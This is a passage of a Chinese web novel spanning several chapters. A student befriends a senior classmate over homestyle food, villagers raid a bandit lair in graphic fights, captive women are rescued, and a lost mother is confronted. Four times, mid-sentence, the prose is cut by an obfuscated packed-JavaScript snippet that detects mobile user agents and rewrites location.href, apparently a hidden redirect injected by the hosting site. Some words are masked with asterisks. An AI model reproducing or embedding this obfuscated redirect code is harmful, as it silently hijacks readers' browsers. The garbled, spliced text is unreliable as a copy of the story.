“你大宝哥不在家,家里就数你和二宝两个大,他不来找你,你就去找他。 一笔写不出两个高字,兄弟之间有啥过不去的,我跟你爹小时候都不知道打过多少架呢,你现在不是还得管我叫三叔。” 高金宝点了点头,他一开始非要自己住,是怕被高二宝他们欺负。 毕竟在村里的时候,他们就很不待见他,他还跟高二宝打过很多次架,每次都打不赢。 可住进来这么久,高二宝顶多就是不爱理会他,从没欺负过他。 大爷爷家里做什么好吃的了,他还会给他送过来,哪怕是长辈非要他送,他送过来的时候也没说过啥难听的话。 三叔又这么说,高金宝觉得自己也许可以试着去找找高二宝他们,毕竟他是真的很想捞鱼啊。 另一边,高二壮把杜衡送到书院门口,就掉头回去了。 却不知杜衡根本没进书院,等他走远就一溜烟跑回了小院。 他塞进挎包里的亵裤还没洗呢,不好意思再带回书院里洗,趁着这会儿还来得及,赶紧去小院洗了安心。 第二百二十四章 结交 哪知一进小院,就见凌十三翘着二郎腿躺在躺椅上啃猪蹄,一口接一口,啃的特别用力。 看着不像是啃猪蹄,倒像是在啃仇人的腿。 见杜衡背着一个大包袱进来,凌十三一把吐出骨头,用猪蹄指着杜衡就骂, “你个没良心的还知道回来啊,把我一个人扔在这儿不管不问,自己回家吃香喝辣,简直太不像话了!” 杜衡鸡皮疙瘩都起来了,这是什么怨妇做派啊? 不知道的,还以为他怎么了凌十三呢。 简直,无语。 杜衡大步流星越过凌十三,就准备进屋。 凌十三赶忙扑上来,一把扯住杜衡的包袱, “你从家里带了什么好吃的?见面分一半,我可都闻到味儿了!” 杜衡更加无语,拽又拽不回来,只得道, “你先让我进屋,进屋我分给你一点,行不行?” 凌十三这才满意了,进了屋,就立刻抢过包袱。 打开一看,又是衣服鞋袜又是坛子罐子,还有肉干和烧饼,可把凌十三嫉妒坏了。 “你嫂嫂对你也太好了,又不是刚入学那会儿,怎么又给你带这么多东西? 我看看坛子里是啥? 炒鸡蛋,这黑黑的是啥? 地皮菜,这个鲜,给你装了这么一罐子,你嫂嫂可真舍得........” 凌十三一边吃一边絮絮叨叨说个没完,酸气都快凝结成实体从头顶冒出来了,看的杜衡好笑不已。 他也没解释这些东西不全是嫂嫂准备的,衣服什么都是大娘给他的,赶紧拿出那件亵裤出去洗。 趁着现在赶紧洗干净,等不滴水了拿回书院晾干,这样应该就不会被人发现了吧。 哪知刚洗完晾上,凌十三就抱着坛子从里面走了出来, “这个是不是咱们老家的浆水?我闻着好像是那个味儿——” 看着迎风招展的亵裤,凌十三的话顿住了,愣了下,噗噗笑了起来。 杜衡本就窘迫,被凌十三一笑更加羞窘,通红着脸瞪着他骂, “你笑个屁啊,跟个傻子一样!” 凌十三颠颠跑过去,用肩膀撞了下杜衡,挤眉弄眼道, “跟我说说,咋这会儿洗裤子? 你小子也长大了哈,是不是想姑娘了——” “闭嘴吧你!” 杜衡恼羞成怒,一把扯下亵裤,朝凌十三甩了过去。 凌十三赶忙往后躲,哇啦乱叫, “脏**,水都溅到我脸上了! 你小子真不经逗,哪个男人长大了不这样,有啥不好意思的。 下次放假哥带你去看美娇娘,让你长长见识,别总这么大惊小怪.......” 杜衡气的回了书院两天都没跟凌十三说话,第三天凌十三直接把他拽着去了小灶,指着刚出锅的浆水豆腐冲他道, “行了,别生气了,这个就当是我给你赔不是了。 我花了二百文请大师傅现做的,味道比咱老家饭馆的都好,快尝尝。” 杜衡看着有点眼熟的浆水,有种不好的预感, “这浆水,你从哪儿弄来的?” “当然是从你那儿啊,你嫂嫂给你带了一坛子浆水呢,剩下的还够吃一回。” 凌十三一脸理所当然,丝毫没觉得有什么不对。 杜衡气炸了,那是嫂嫂给他带的浆水,他都舍不得吃,凌十三这货居然就直接给他做成菜了! 二百文够买两板豆腐了,他又不是不会做这道菜,犯得着花那么多钱请大师傅? 这个败家子! 凌十三没意识到又把杜衡惹恼了,还一脸期待催促着他道, “你快尝尝啊,我尝过了,味道真的很好,尤其是放了花椒粉,吃完舌尖上有点麻麻的,特别带劲。” 杜衡见凌十三这样,真是一肚子火气也发不出来,主要是用都用了,钱也花了,他便是骂他一顿也撤不回。 算了,还是尝尝吧,要是好吃就跟大师傅请教一下做法,等下次回去做给大伯和嫂嫂他们吃。 杜衡拿起筷子,刚要夹起一块豆腐尝尝味,就听到有人问大师傅是不是做浆水菜了,闻着有这个味儿。 那声音请冷冷的,跟泉水落在玉石一样好听,还莫名有点耳熟。 可还不等他仔细回想在哪儿听到过这个声音,凌十三已经三步并两步蹿出了屋。 杜衡暗道糟糕,赶紧追了出去。 小灶是专门给夫子做小炒的灶,虽说学子们私下给大师傅点好处,也能吃到想吃的小炒。 但这么做是不符合书院规定的,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342617|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们只能偷偷躲在大师傅睡觉的小屋里享用。 凌十三这么跑出去,被夫子们看到,肯定要被记过处罚。 哪知追出去,杜衡没拦住凌十三,却看到了一个完全想不到的人。 见大师傅住的小屋里突然蹿出来两个师弟,郑子安也只是看了一眼,便继续对大师傅道, “我不过就是许久没吃过这种家乡的味道了,有些想念,随口问问,你要是不方便说了就算了。” 大师傅为难地看了凌十三和杜衡一眼,杜衡福至心灵,想到了朱钰提点他的话,急忙冲郑子安拱手行礼道, “师兄见谅,是我俩嘴馋拿了些从家带来的浆水,请大师傅做了道浆水豆腐以解思乡之情。 我们都是从荣阳县逃难来的,入学考试时见过师兄一面,十分仰慕师兄的才学人品。 师兄若是不嫌弃,我这儿还有半坛子浆水,您只管拿去就是。” 郑子安转过身,看向杜衡和凌十三。 凌十三看到郑子安的脸,这才想起眼前这人是谁,不由惊讶地张大嘴巴。 可还不等他惊呼出声,小腿就被杜衡从后面踢了下,他踢的很重,凌十三不敢再多嘴。 “你们是从荣阳哪里来的?以前在哪儿读书?” 郑子安的问话让杜衡暗暗欣喜,愿意问就表示好奇,只要有兴趣就能聊下去。 朱叔说了,跟上位者结交最忌讳过于巴结讨好,也不能太过拘谨呆板,最好就是坦率真诚。 因为上位者看下位者一览无余,你的任何小心思都能被轻易识破,与其遮遮掩掩不自信,刻意巴结讨好看着心机深,不如坦坦荡荡。 这样反倒有可能会被上位者高看一眼,如果你自身再有点能被对方看上的地方,那结交就会变得很容易。 杜衡老老实实说了自己的来历,连家中父母相继病逝,兄长也意外身亡,如今跟着寡嫂生活的事都说了出来。 郑子安见杜衡坦诚,想到自己幼年丧母,跟着父亲孤苦漂泊的经历,对他不由生出几分惺惺相惜之情。 杜衡请大师傅用剩下的浆水做了郑子安想吃的浆水面,三人坐在小屋里,吃着聊着,怀念着再也回不去的家乡。 得知杜衡正在照着自己的旧书描摹练字,郑子安十分大方的表示要送他一副自己亲手写的字帖。 第二百二十五章 干票大的 杜衡自是感激不尽,吃过饭,三人告别,见郑子安走远,凌十三立刻冲杜衡嚷嚷, “看,跟着兄弟有好处吧,一顿饭就让你跟郑大才子混熟了。 以后你再有啥不懂的也不用缠着夫子问了,直接去问他就行。 我听人说,他可比教咱们的夫子学问还好呢,山长都说没啥可教他的了。” 杜衡瞪了凌十三一眼,压低声音道, “你小声点,背后这么说夫子,被人听见,你想被罚抄写把手抄断?” 凌十三吐了吐舌头,迅速看了看四周,见没人这才松了口气。 杜衡皱眉小声问凌十三, “我听人说郑师兄出身清贫,家境应该不太好,怎地还跑来吃小炒?” 凌十三用看傻子一样的眼神看着杜衡,嘲笑道, “你连这个都不知道,郑大才子刚考中秀才没多久,就成了岚县教谕的乘龙快婿。 教谕的女婿不会连小炒都吃不起,更何况他现在已经是举人了。 你见过穷秀才,难道还见过穷举人?” 杜衡愣住,原来朱叔的消息也不全面啊,连这么重要的事都没告诉他。 也是他自己先入为主一叶障目了,不管怎么说,能这么快跟孟师兄结交,真是再好不过。 说到底还是嫂嫂那坛子浆水帮上了大忙,似乎跟嫂嫂在一起后,他的运气都好了起来。 石楼村,被杜衡当成幸运女神的高娇娇,却在怀疑自己是不是个乌鸦嘴。 她为了说服高长天同意将巡逻范围扩大,就故意夸大了清明祭拜的影响,说了些危言耸听的话。 哪知,居然应验了。 晚上在炕上睡得正香,突然被铜锣声惊醒,高娇娇逃荒路上锻炼出来的本能,让她眼睛都没睁开就直接跳下了炕。 等听清外面喊的是“土匪来了”,高娇娇急忙把杜映梅和高小寒、高冬月塞给姚春香,背上弓箭,拿上刀,拔腿就往外跑。 姚春香在后面扯着嗓子喊, “你慢些,别急,先去找你爹他们汇合,一定要注意安全,千万别再受伤了!” “知道了,娘,你们把门窗关好,别出来!” 高娇娇应了声,就径直往村口跑。 高长天和高二壮等人正在村口小道上搜寻,率先发现土匪的石小山指着路边的马蹄印,冲众人道, “那伙人从这儿跑了,看方向,应该是要往那边林子里去,穿过林子就能回到官道上。” “他们跑了没多久,爹,现在去追还来得及。” 高三壮很急,他觉得今晚来的这十来个土匪是来探路的,被石小山他们发现后就跑,说明对方还有老巢。 不趁着这次斩草除根,只怕会后患无穷。 高长天看了马蹄印,又看了看被踩踏的草木,很杂乱,看来对方逃走的时候很慌。 但都朝一个方向跑,说明他们有明确的逃跑路线,可能跟老三猜测的那样,他们有老巢。 说不定就是上次进山打猎时,偶然发现的那伙土匪,二弟想要一锅端,他不想惹事就没动手。 没想到这伙人居然先来招惹他们了,真是吃了熊心豹子胆! 高娇娇跑过来,见高长天沉着脸目光锐利,知道爹这是动了杀心。 来的路上她已经听巡逻队的人说了大概情况,见朱钰冲她使眼色,便立刻火上浇油, “爹,你看被我说中了吧,咱们被人惦记上了。 只有千日做贼,哪有千日防贼的? 要我说,咱们就该杀到他们老巢,让周围山里的土匪强盗们都知道,惹到咱们头上的后果! 杀鸡儆猴,谁敢再来,都让他有来无回!” 石小山听到这话,只觉得热血沸腾,立刻大声赞同道, “对,里正,咱就得让那些王八羔子知道知道咱们的厉害,让他们不敢再打咱们的主意!” “里正,咱们这就杀过去,我冲在最前头!” 李二性子急,想到上次高娇娇得的赏银,不由蠢蠢欲动。 其他人也跟着嚷嚷了起来,高长天见状,一咬牙,沉声道, “人不犯我我不犯人,既然如此,咱们今晚就干票大的! 兄弟们,敌暗我明,咱们不能一股脑往上冲,得好好谋划一下。 你们切记,咱们的目的是为了自保,不是为了**。 别一个杀红眼就不管不顾,不听指挥,我带多少人出去,就要带多少人回来。 咱们还有大把的好日子要过呢,坏人要杀,自己的命更要保,都记住没?” “记住了!” 高娇娇响应的格外大声,她背上的伤还没好呢,肯定不能再受伤了。 快速商量过后,众人决定兵分三路,由石小山带着一队人追过去迷惑敌人,让敌人误以为他们村就只有这点人手。 由高娇娇带着一队人伪装成难民,从官道前往匪寨山下的必经路上,引诱土匪出手截杀,分散敌人兵力。 最后由高长天亲自带着最擅长射箭的一队人,从上次打猎的那个山口,潜入匪寨后方。 等待时机从后头偷袭,跟高娇娇他们合力**,一举拿下匪寨。 高娇娇穿着羊皮袄,坐在牛车上,甩着鞭子,骂骂咧咧带着一群人上了路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342618|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她现在的人设是逃难路上的地主婆,随行的是被她用粮食吊着的佃户长工,因为她嫌弃之前的宿营地不好,不顾下头人劝阻,驱赶着队伍连夜赶路。 车队走了两个来时辰,在天色蒙蒙亮时走到了岔路口。 高娇娇闹着肚子饿了要喝粥,高二壮假扮的长工苦口婆心劝她再往前走走,到一处平坦开阔的地方再停下做饭。 高娇娇大发脾气,举起鞭子作势要打高二壮,其他长工好似不满至极,纷纷替高二壮鸣不平。 众人正闹成一团时,忽然听到一阵大笑。 “哈哈哈,今儿这猎物有意思,主动送上门还先自己斗一斗。” “兄弟们,那个女的是我的了,你们一会儿可别跟我抢。” “老六,这么彪的娘们你也要,可真是不挑啊。” “老三,你不懂,你别看这娘们没脑子,可小脸白啊,这年景,想逮着一个白嫩嫩的不容易。” “哈哈哈,老六,还是你厉害,隔这么远都能看到女人的脸白,不愧是以前干采花贼的。” “二哥,你可别埋汰我,我啊,就是稀罕女人,离不开这个。 不过二哥要是喜欢,那就先让二哥享用,等二哥玩腻了再赏给兄弟也行。” “还是老六会做人,不像我们几个棒槌,都不知道孝敬二哥。” “老三,你这就没意思了,咱们兄弟谁跟谁,我老六可从来不吃独食。” “行了,行了,都别废话了,赶紧上去把这伙人收拾了,杀了牛好吃肉!” 喊杀声中,一伙土匪从拐角山沟里蹿了出来,挥舞着刀枪棍棒朝高娇娇等人扑了上来。 高娇娇扯着嗓子尖叫, “土匪,是土匪! 救命,救命啊,你们都别跑,快保护我,我有粮食,给你们粮食........” “小娘子别叫了,你的粮食现在是我们的了!” 黑脸土匪冲上来,桀桀笑着就去抓高娇娇。 高娇娇叫的更大声了,好似快吓疯了一般跳了起来,不偏不倚踩到了想要抓她没抓住,落在牛车的手上。 黑脸土匪疼的叫了起来,在同伴的大肆嘲笑中甩着快被踩断的手,冲高娇娇吼, “臭娘们,你找死!” 高娇娇冷冷一笑, “找死的是你!” 黑脸土匪惊恐地看着高娇娇不知从哪儿拔出长刀,寒光闪过,他脖子一凉。 下一刻,鲜血喷溅,本以为可以任由他们欺凌的地主婆,变成了冷面肃杀的女罗刹。 而他完全失去了逃跑的机会,捂着脖子直直跪倒下去。 第二百二十六章 谁才是土匪啊 区区十来个土匪,根本不是高娇娇他们的对手。 更何况这帮土匪还是一群怂包,在看到高娇娇一个饿虎扑食,就撂倒了领头的二当家后,更是立刻跪地求饶。 高娇娇跟拎麻袋一样把二当家提在手中,冲高二壮等人道, “留两个活口带路,剩下的,全部杀掉!” 高二壮等人立刻动手,丝毫不会因为对方跪地求饶而心软。 斩草不除根,春风吹又生。 他们既然来剿匪,就要永绝后患。 二当家觉得自己肋骨断了,一吸气胸口就生疼,从鼻腔到嗓子眼全是一股子血腥味儿,不由后悔万分。 这个女罗刹下手太狠了,早知道是个硬茬子,他就不来了。 可现在再后悔也是无用,为了活命,他只能老老实实按照高娇娇的吩咐,走在最前面带路。 一行人顺着山路走了大概半个时辰,到了一处山坳口。 此时天色已经大亮,二当家看着从寨门后冒出头的同伙,忍不住想求救,可他刚一动,腰侧就是一疼。 看上去像是被他揽在怀里的高娇娇,借着羊皮袄的阻挡,正在把**缓缓刺入他的侧腰。 那冰冷又锐利的眼神,透过假笑在无声提醒他: 别乱说话,否则腰子不保。 二当家只得赶紧收回这个念头,跟往常一样冲守门的吼, “赶紧给老子开门,忙活一晚上,可累死老子了!” 守门土匪看到二当家满载而归,赶忙跑下来开门,眼馋地盯着二当家怀里的女人,和后面装满了粮食袋子的牛车打量。 根本没往低眉顺眼的高二壮等人身上多看一眼,直到他们进了山寨,一个守门土匪才狐疑嘟囔了句, “这些人看着都挺眼生的,老六他们怎么没回来?” “呵,肯定是又惹了二当家不快,被罚在后头收拾呢,老六那狗货脑子里就只有那二两肉。” 另一个土匪随口道,一点也不好奇高二壮他们的身份。 这些天来山寨投靠的难民多了去了,多这几个也不多,少这几个也不少,反正二当家带进来的,出了事也由二当家担着。 可没过一会儿,寨子里头传来的惨叫声,让两人脸色大变。 高娇娇等人进入山寨里头,见留守的土匪只有二三十人,领头几个还宿醉未醒,当即决定抢先动手。 高娇娇一刀结果了二当家,便朝正厅睡的七歪八倒的土匪头子们冲了过去。 刚当上土匪没两天的难民,看到了让他们永生难忘的一幕。 侥幸不死的几人,在往后余生中,时不时就提醒后代千万不能做坏事更不能当土匪,这世上是真的有报应啊! 只见那个瘦瘦小小,看着一点威胁也没有的女人,挥舞着有她半人高的大刀,冲过去就是一通狂砍,如同砍瓜切菜一般,硬生生把几个当家给砍的鬼哭狼嚎。 即便是练家子出身的大当家,还拉了三当家挡了一刀,掀了桌子,拿过**跟她对打,也不过几下,就被她踹断了枪杆,劈成了两半。 好像就是眼前一花又一花的功夫,那个女人就把几个当家的都杀了。 不仅如此,她还把冲过去想救几个当家的土匪都给打倒了,以她为中心,硬是杀出了一圈空白。 倒在地上那些,也不知道是死是活,反正每个人身上都有伤,血呼呼地流着,在清晨的朝阳中冒着新鲜的热气。 而那个女人就那么凶神恶煞地站在一股股热气中间,冷眼扫过四方,没人敢跟她对视。 所有土匪都恨不得把头缩进裤裆,都在心里默默喊娘,求四方诸神保佑,千万别让这个女杀神看见我,千万留我一条狗命! 而早就习惯了自家妹子强悍作风,哪怕被溅了一身血也很淡定的高二壮,只是抹了把脸,提醒了声, “小妹,爹他们应该在后头,我听见放箭的声了。” “二哥,你收尾,我去帮爹他们!” “好,你小心些。” “知道了。” 高娇娇甩了下长刀,刀上沾了太多血,手心有点粘,感觉不舒服。 看到地上不知哪个当家掉落的流星锤,高娇娇忙用脚挑起,握在手里掂了掂,挺有分量,感觉不错。 于是,将长刀扔给高二壮,高娇娇两手提着流星锤便朝山寨后头冲了过去。 路上遇到土匪,就一锤一个,跟打地鼠一样,砰砰砰,砸的飞快。 结果冲到后头一看,好家伙,已经打完了。 好几十个土匪都双手抱头蹲成一堆,被李二等人拿弓箭对着一动也不敢动,而高长天则带着人跟捆猎物一样将他们的手脚捆起来。 高娇娇眼尖看到最边上的一个土匪想要跑,被她盯上,立刻蹿了起来,跟受惊的兔子一样跳起来就要往外冲。 正在捆人的高长天腾不出手,李二几个都在拉弓盯人,一时谁都来不及阻拦。 本来已经认命的土匪见同伴有机会逃跑,也跟着躁动了起来。 就在众人都以为这个土匪要逃出去时,一个黑乎乎的大铁锤从天而降,砰的一声巨响,连人带锤一起砸到了旁边的石头堆上。 那个土匪连惨叫都没发出来一声,白花花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342619|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脑浆子就迸了出来。 一时间,整个后寨都安静的似乎能听到绣花针落地的声音。 直到高娇娇一脸嫌弃蹙眉, “啧,真不经打。” 一众土匪惊恐地看向了她,还有她另一只手里的流星锤。 老天爷啊,他们到底谁才是土匪? 这个女罗刹太凶残了,好可怕,呜呜呜........ 土匪老实了,恨不得争着抢着让高长天他们赶紧把自己捆起来,他们宁愿被扭送到衙门砍脑袋,也不想被砸的脑浆子都流出来。 高长天上下打量了下高娇娇,见她没受伤,不由松了口气,冲高三壮吩咐道, “石小山那边还没过来,可能是碰到硬骨头了,你带人过去接应一下。” “好!” 高三壮应下,刚要点人,高娇娇就抢着道, “我也去!” “你留下,”高长天喊住高娇娇,指着一个好似地窖入口的地方冲她道, “里面那些人我们不好处理,你去安排。” 高娇娇不解皱眉,都是土匪,有啥不好处理的? 可等下到地窖里头,看到里面情形,高娇娇顿时明白了高长天的顾虑。 地窖里关的全是女人,一群衣不遮体,骨瘦如柴的女人。 若不是亲眼所见,很难想象这个连牲口棚都不如的地方,居然能塞进来这么多人。 二三十个女人,木然死寂地蜷缩在一起,酸臭腐烂的食物味道,混着尿骚粪便的气味,充斥在整个地窖。 高娇娇不得不憋着气,才能让自己不至于被熏吐了。 待到稍微适应了些,高娇娇才举着火把往里走,她一动,那些缩在一起的女人也跟着动。 她们不停往后缩,哪怕已经到了最边缘,避无可避,还是拼命退缩。 她们甚至都不敢抬眼看高娇娇一眼,只有对来人的本能恐惧,让她们下意识想保护自己。 离得近了,高娇娇这才看到这群女人中间还夹杂着几个小孩,甚至有个小婴儿,看着好像还不到一岁,被一个披头散发犹如野人的女人紧紧抱在怀里。 “你们,都是被这些土匪掳来的?” 高娇娇决定先问清楚再做打算,却没想到一开口,这些人就像被点了穴一样愣住了。 过了会儿,她们才小心翼翼抬起头,木然的脸上浮现出不敢相信的震惊。 等到看清来的不是那些恶人,而是个女人,还是个年轻和善的女人后,一个个震惊又激动。 尤其是那个披头散发的女人,更是激动万分。 第二百二十七章 故人 高娇娇见她们这样,只得先安抚道, “你们别害怕,我们不是坏人,我们是来剿匪的,外面那些土匪已经都被我们制服了。” 披头散发的女人突然哭了起来,紧跟着其他女人也开始哭,甚至抱头痛哭,捶地大哭。 高娇娇等了好一会儿,见她们这情绪一时半刻缓和不下来,只得大声道, “你们收拾一下,我让人放绳子下来,救你们出去。” 然后又冲外面喊,让他们从那些土匪身上扒些衣服扔下来。 这些女人身上的衣服都单薄的很,几乎都是亵衣,甚至直接裹了块破布,什么都挡不住。 很快衣服扔了下来,高娇娇让女人们排队领衣服,等她们整理的差不多,让她们再排着队一个个系好绳子,等着被拉出去。 一个接一个女人被救了出去,轮到一个脸色焦黄眼窝凹陷头发花白的女人时,她瞪着一双眸子,一眨不眨地盯着高娇娇看。 高娇娇警惕地看着对方,左手本能摸向腰间的**。 女人好像终于确认了,激动的冲高娇娇嚷道, “娇娇,你是娇娇对不对?你不认识我了?我是,我是乔大凤啊!” 乔大凤! 高娇娇难以置信地看着面前激动流泪的女人,她当然认识乔大凤。 那个十几年过去了,还能让旧情人念念不忘的女人,虽不是貌美如花,但也是风韵犹存,要不也不会被娘家兄弟卖到妓院里去。 可眼前这女人,枯黄干瘦苍老破败,跟快要死掉的老妪一般。 才过去半年时间,她怎么就像是老了三十岁一样啊? 但不管怎么说,她也是大宝他们的娘。 高娇娇想了想,把人拉到一旁,一番询问确认了她的身份后,把自己的羊皮袄套在她身上,又解下自己的头巾将她的头脸裹了个严严实实。 “一会儿出去了你别说话,也别往我二哥他们跟前凑,跟紧我。” 乔大凤见高娇娇还肯管她,不由赶紧点头,亦步亦趋跟在她身后出了地窖。 刺目的阳光让乔大凤不由下意识抬手挡住眼睛,但又忍不住想让整个身体都晒得到。 她深深地吸了口气,泪水不受控的从眼睛里往外冒。 真没想到,她还能活着从那个地窖里出来。 活着真好。 高长天他们已经将所有土匪捆了起来,正在清理战场。 见高娇娇带过来一个女人,女人身上还裹着她的羊皮袄,高长天不由看向了高娇娇。 高娇娇冲他微微摇了摇头,示意现在不是细说的时候。 高长天便没再多问,招呼众人快些收拾,他还要带人把这些土匪押送到衙门。 虽然剿匪是私人行动,但是处置土匪不能私自进行。 商量剿匪时高娇娇便提到了这个,石小山等人眼馋赏银,高长天也不想沾染上草菅人命的嫌疑,于是大家便很愉快的决定了把土匪押送到衙门的安排。 不过在此之前,得先把土匪窝掏干净了。 来都来了,不能白来。 高娇娇直接问乔大凤, “你知不知道土匪头子把好东西都藏在哪儿了?” 乔大凤被问的一愣,正犹豫着要不要说实话,就听高娇娇慢悠悠又道, “我知道你知道,你应该也知道我这人不懂人情世故,照顾你全看在大宝他们的面子上。 但让我把你带回去,让大宝他们把你当娘伺候,养老送终是万万不可能。 你若是表现好,我可以分你一点好处,让你不至于出了土匪窝活不下去。” 听到高娇娇这么说,乔大凤火热的心一下子凉了半截,她早该想到,她现在这样不可能再被高娇娇当成二嫂了。 别说二壮肯不肯再要她,只怕大宝他们都不肯再认她了。 想到自己当时跟石小山头也不回离开时,春雨撕心裂肺地哭着哀求,乔大凤不由流下了悔恨的泪水。 她真是一步错,步步错,落到这个地步,都是自作自受。 抹掉眼泪,乔大凤哑着嗓子告诉高娇娇, “听说大当家的座椅是请工匠专门打造的,铺了老虎皮,大当家从不许任何人碰他的座椅。 二当家喜欢喝酒赌牌,专门在屋里床底下挖了个地窖用来藏酒。 其他几个当家没听说有什么特别的喜好,不过他们都喜欢去后山打猎,有时候一去就是十天半个月,还不叫手下陪着。” 高娇娇想了下,冲高二壮喊, “二哥,你带人去把大当家的座椅拆了,再去二当家住的那屋,把他床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342620|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下的地窖挖开,把酒坛子砸了看看里面有没有藏东西。” 高二壮看了眼高长天,高长天摆了下手示意他按高娇娇说的办。 高娇娇又冲高长天喊, “爹,你再派几个人去后山找找有没有山洞啥的,我怀疑他们在后山藏了东西。” 一通搜寻,还真找到了不少好东西。 高二壮发现大当家的座椅底部灌满了金子,二当家的酒坛里有一罐装的全是珠宝银锭,后山确实有个山洞,里面藏了好几千斤粮食。 “小妹你可真行,这么刁钻的地方都能想得到。 这帮土匪头子可真能藏,我还说这么大个土匪窝怎么这么穷,灶房里都找不到多少粮,原来都被藏到后山了。” 高二壮喜滋滋捧着找到的珠宝给高娇娇瞧,指着一个镶嵌了红宝石的簪子冲她道, “爹说你立了大功,让你从这里头挑两个,算是奖励你的。 你挑这个,这上头的宝石最大,看着就值钱。” 高娇娇摇头, “这玩意儿太招摇,戴着出门不安全,卖给当铺不划算,还不如纯金的实在。” 说着从里面扒拉出一个金镯子,一个纯银实心的小孩长命锁,冲高二壮道, “我就喜欢这种实心有分量的,直接就能绞了当钱花。” 高二壮宠溺笑笑, “行,你喜欢就成,回头分了钱,哥进城给你买对金耳环,给你凑成一副。” 高娇娇故作傲娇道, “我可不要,你那钱还是攒着给大宝娶媳妇用吧。 他现在跟在将军身边,将来要是有造化,说不定还能混个一官半职,给你娶回来一个官家小姐。 你趁着现在多给他攒点老婆本吧,别到时候连彩礼都拿不出来,拖他后腿。” 高二壮笑的嘴都快咧到后脑勺了,还一个劲儿道, “你也太看得起他了,他啊不给我惹事我就谢天谢地了,还当官?咱家祖坟那不得冒青烟? 我给他多盖几间房多买几亩地,就算对得起他小子了,他要敢嫌弃咱家穷,看我不把他腿打断!” 男人口是心非起来也是没眼看,高娇娇直接把高二壮撵走了。 乔大凤看到高娇娇递过来的金镯子和长命锁,有点不知所措。 第二百二十八章 善后 高娇娇直接把东西塞到她手里,压低声音道: “拿着吧,这些是给你的好处。 你刚才听见了吧,大宝会有大好前程,春雨也在跟着大夫学医,他们虽是你的孩子,但不欠你的。 你别想着回去再找他们了,我不会让你成为他们的累赘,拿着这些,去找个地方隐姓埋名重新生活。” 乔大凤看看手里的东西,舔了舔干裂的嘴唇,还是不甘心,哀求道, “我不去打扰他们,我就想看一眼,就一眼。” “自从你抛下他们离开的那天起,你跟他们就没关系了。 这一路走来,死在我手上的人没有一百也有八十了。 我劝你最好别动什么歪心思,不然,我不介意送你一程。” 高娇娇盯着乔大凤,眼中杀意不加掩饰。 乔大凤不由打了个寒噤,不敢再哀求,用力握紧了金镯子和长命锁。 高长天那边收拾好了,高娇娇这才带着乔大凤走了过去,哪知那些女人突然齐齐冲她跪了下来。 吓的高娇娇一蹦三尺高,扭头就往高长天背后躲。 “求恩人杀了这群畜生,他们不是人,杀了我男人,吃了我大儿子! 这个小儿子要不是我谎称是糟蹋我的那个畜生的种,也要被他们抢去吃了。” 抱着孩子的女人,把头磕的砰砰响,血顺着她的额头不断往下流。 跟在她身后的女子也纷纷哀求,她们跟这些土匪都有血海深仇,都恨不得将他们千刀万剐**万段。 高娇娇听到这些土匪居然**,也起了杀心。 但高长天摁住了她想要拔出**的手,冲她微微摇了摇头。 高长天沉声对这些女人道: “我们会将他们押送到衙门,知县大人明察秋毫,你们有什么冤屈就去大人面前上告,大人自会替你们做主。” 说完,就示意高二壮等人将这些女人赶到牛车上,拉上缴获的战利品,离开此地。 路上,高娇娇悄悄把乔大凤的身份告诉了高长天。 高长天立刻叮嘱高娇娇, “这事儿你别管了,我来安排,别让你二哥知道。” “爹,你放心,我知道分寸。” 高娇娇不打算跟着他们去衙门,她要赶紧回家报平安,娘她们在家肯定等的很心焦。 还有就是,她要防备着有漏网之鱼跑到村里报复。 回去路上,遇到了高三壮和石小山等人,看到石小山几个都趴在马背上一动不动,高娇娇等人都变了脸色。 高三壮飞快跑过来说了下情况,石小山他们对上的那伙土匪才是匪寨的精锐,不仅有马有刀有弓箭,领头的人还十分阴险狡诈。 石小山他们有些大意,中了对方的埋伏,要不是高三壮带人及时赶到,只怕他们性命不保。 现在一共有七人都受了重伤,得赶紧回去医治。 高娇娇急声道, “村里医馆药材不全,我看还是把刘一手带上一起去县城救治的好。” 